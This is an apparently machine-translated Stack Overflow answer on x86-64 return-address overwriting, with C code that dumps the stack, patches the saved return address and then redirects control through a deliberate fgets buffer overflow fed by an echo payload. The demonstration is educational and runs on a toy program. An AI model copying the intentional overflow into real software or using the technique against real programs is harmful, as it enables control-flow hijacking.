简体   繁体   English

缓冲区溢出,使用GDB的堆栈指针操作

[英]Buffer overflow , stack pointer manipulation using GDB

I have a simple problem in c which may be solved using GDB, but I am not able to solved it. 我在c中有一个简单的问题,可以使用GDB解决,但是我无法解决。

We have a main() function which calls another function, say A(). 我们有一个main()函数,该函数调用另一个函数,例如A()。 When function A() executes and returns, instead of returning to main() it goes to another function, say B(). 当函数A()执行并返回时,而不是返回main()而是转到另一个函数,例如B()。

I don't know what to do in A() so that return address will change. 我不知道在A()中做什么,以便返回地址会改变。

Assuming, the OP wants to force a return from A() to B() instead of to main() from where A() was called before... 假设OP想要强制从A()返回B()而不是从之前调用A() main() ...

I always believed to know how this might happen but never tried by myself. 我一直相信知道如何发生,但从未尝试过自己。 So, I couldn't resist to fiddle a bit. 所以,我忍不住要摆弄一点。

Manipulation of return can hardly be done portable as it exploits facts of the generated code which may depend on compiler version, compiler settings, platform, and whatever. 返回操作几乎无法移植,因为它利用了所生成代码的事实,该事实可能取决于编译器版本,编译器设置,平台等。

At first, I tried to find out some details about coliru which I planned to use for fiddling: 最初,我试图找出一些我计划用来摆弄的大肠菌的细节:

#include <stdio.h>

int main()
{
  printf("sizeof (void*): %d\n", sizeof (void*));
  printf("sizeof (void*) == sizeof (void(*)()): %s\n",
    sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
  return 0;
}

Output: 输出:

gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes

Live Demo on coliru 在coliru上进行现场演示

Next, I made a minimal sample to get an impression about the code which will be generated: 接下来,我做了一个最小的示例,以对即将生成的代码有一个印象:

Source code: 源代码:

#include <stdio.h>

void B()
{
  puts("in B()");
}

void A()
{
  puts("in A()");
}

int main()
{
  puts("call A():");
  A();
  return 0;
}

Compiled with x86-64 gcc 8.2 and -O0 : x86-64 gcc 8.2-O0一起编译:

.LC0:
        .string "in B()"
B:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC0
        call    puts
        nop
        pop     rbp
        ret
.LC1:
        .string "in A()"
A:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC1
        call    puts
        nop
        pop     rbp
        ret
.LC2:
        .string "call A():"
main:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC2
        call    puts
        mov     eax, 0
        call    A
        mov     eax, 0
        pop     rbp
        ret

Live Explore on godbolt 实时探索Godbolt

On Intel x86/x64: 在Intel x86 / x64上:

  • call stores the return address on stack before jumping to the given address 在跳转到给定地址之前, call将返回地址存储在堆栈中
  • ret pops the return address from stack into PC reg. ret将返回地址从堆栈弹出到PC reg中。 again. 再次。

(Other CPUs might do this differently.) (其他CPU可能会有所不同。)

Additionally, the 此外,

        push    rbp
        mov     rbp, rsp

is interesting as push stores something on stack as well while rsp is the register with current stack top address and rbp its companion which is usually used for relative addressing of local variables. 有趣的是为push卖场上的东西堆以及同时rsp是当前栈顶地址寄存器和rbp其同伴它通常用于相对寻址局部变量。

So, a local variable (which is addressed relative to rbp – if not optimized) might have a fix offset to the return address on stack. 因此,局部变量(如果未优化则相对于rbp寻址)可能具有到堆栈返回地址的固定偏移量。

So, I added some code to the first sample to come in touch: 因此,我在第一个接触的示例中添加了一些代码:

#include <stdio.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Output: 输出:

&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00

Live Demo on coliru This is what I read from this: coliru现场演示这是我从中读到的内容:

0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!

0x400649 is an address which is slightly higher than the address of main() ( 0x400613 ). 0x400649是比main()0x400613 )的地址稍高的地址。 Considering, that there was some code in main() prior the call of A() this makes perfectly sense. 考虑到,在A()调用之前main()中有一些代码是完全合理的。

So, if I want to manipulate the return address this has to happen at pI + 32 : 因此,如果我要操纵返回地址,则必须在pI + 32

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
  *(void**)(pI + 32) = (byte*)&B;
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Ie I "patch" the address of function B() as the return address into the stack. 即我将函数B()的地址“修补”为返回地址到堆栈中。

Output: 输出:

&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()

Live Demo on coliru 在coliru上进行现场演示

Et voilà: in B() . Etvoilà: in B()

Instead of assigning the address directly, the same could be achieved by storing a string with at least 40 char s into buffer (only 8 char s capacity): 代替直接分配地址,可以通过将至少40个char的字符串存储到buffer (容量仅为8个char )中来实现:

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  // provoke buffer overflow vulnerability
  printf("Input: "); fflush(stdout);
  fgets(buffer, 40, stdin); // <- intentionally wrong use
  // show result
  putchar('\n');
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Compiled and executed with: 编译并执行:

$ gcc -std=c11 -O0 main.c
$ echo -e "                                \xa2\x06\x40\0\0\0\0\0" | ./a.out

To input the exact sequence of bytes by keyboard might be a bit difficult. 用键盘输入确切的字节顺序可能有点困难。 Copy/paste might work. 复制/粘贴可能有效。 I used echo and redirection to keep things simple. 我使用echo和重定向使事情保持简单。

Output: 输出:

&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input: 
in B()

Live Demo on coliru 在coliru上进行现场演示

Please, note that the input of 32 spaces (to align the return address "\\xa2\\x06\\x40\\0\\0\\0\\0\\0" to the intended offset) "destroys" all the internals of A() which are stored in this range. 请注意,输入32个空格(将返回地址"\\xa2\\x06\\x40\\0\\0\\0\\0\\0"对准预期的偏移量)“破坏”了A()所有内部存储在此范围内。 This might have fatal consequences for the stability of the process but, eventually, it's intact enough to reach B() and report that to console. 这可能会对过程的稳定性产生致命的影响,但是最终,它完整无缺,可以到达B()并将其报告给控制台。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM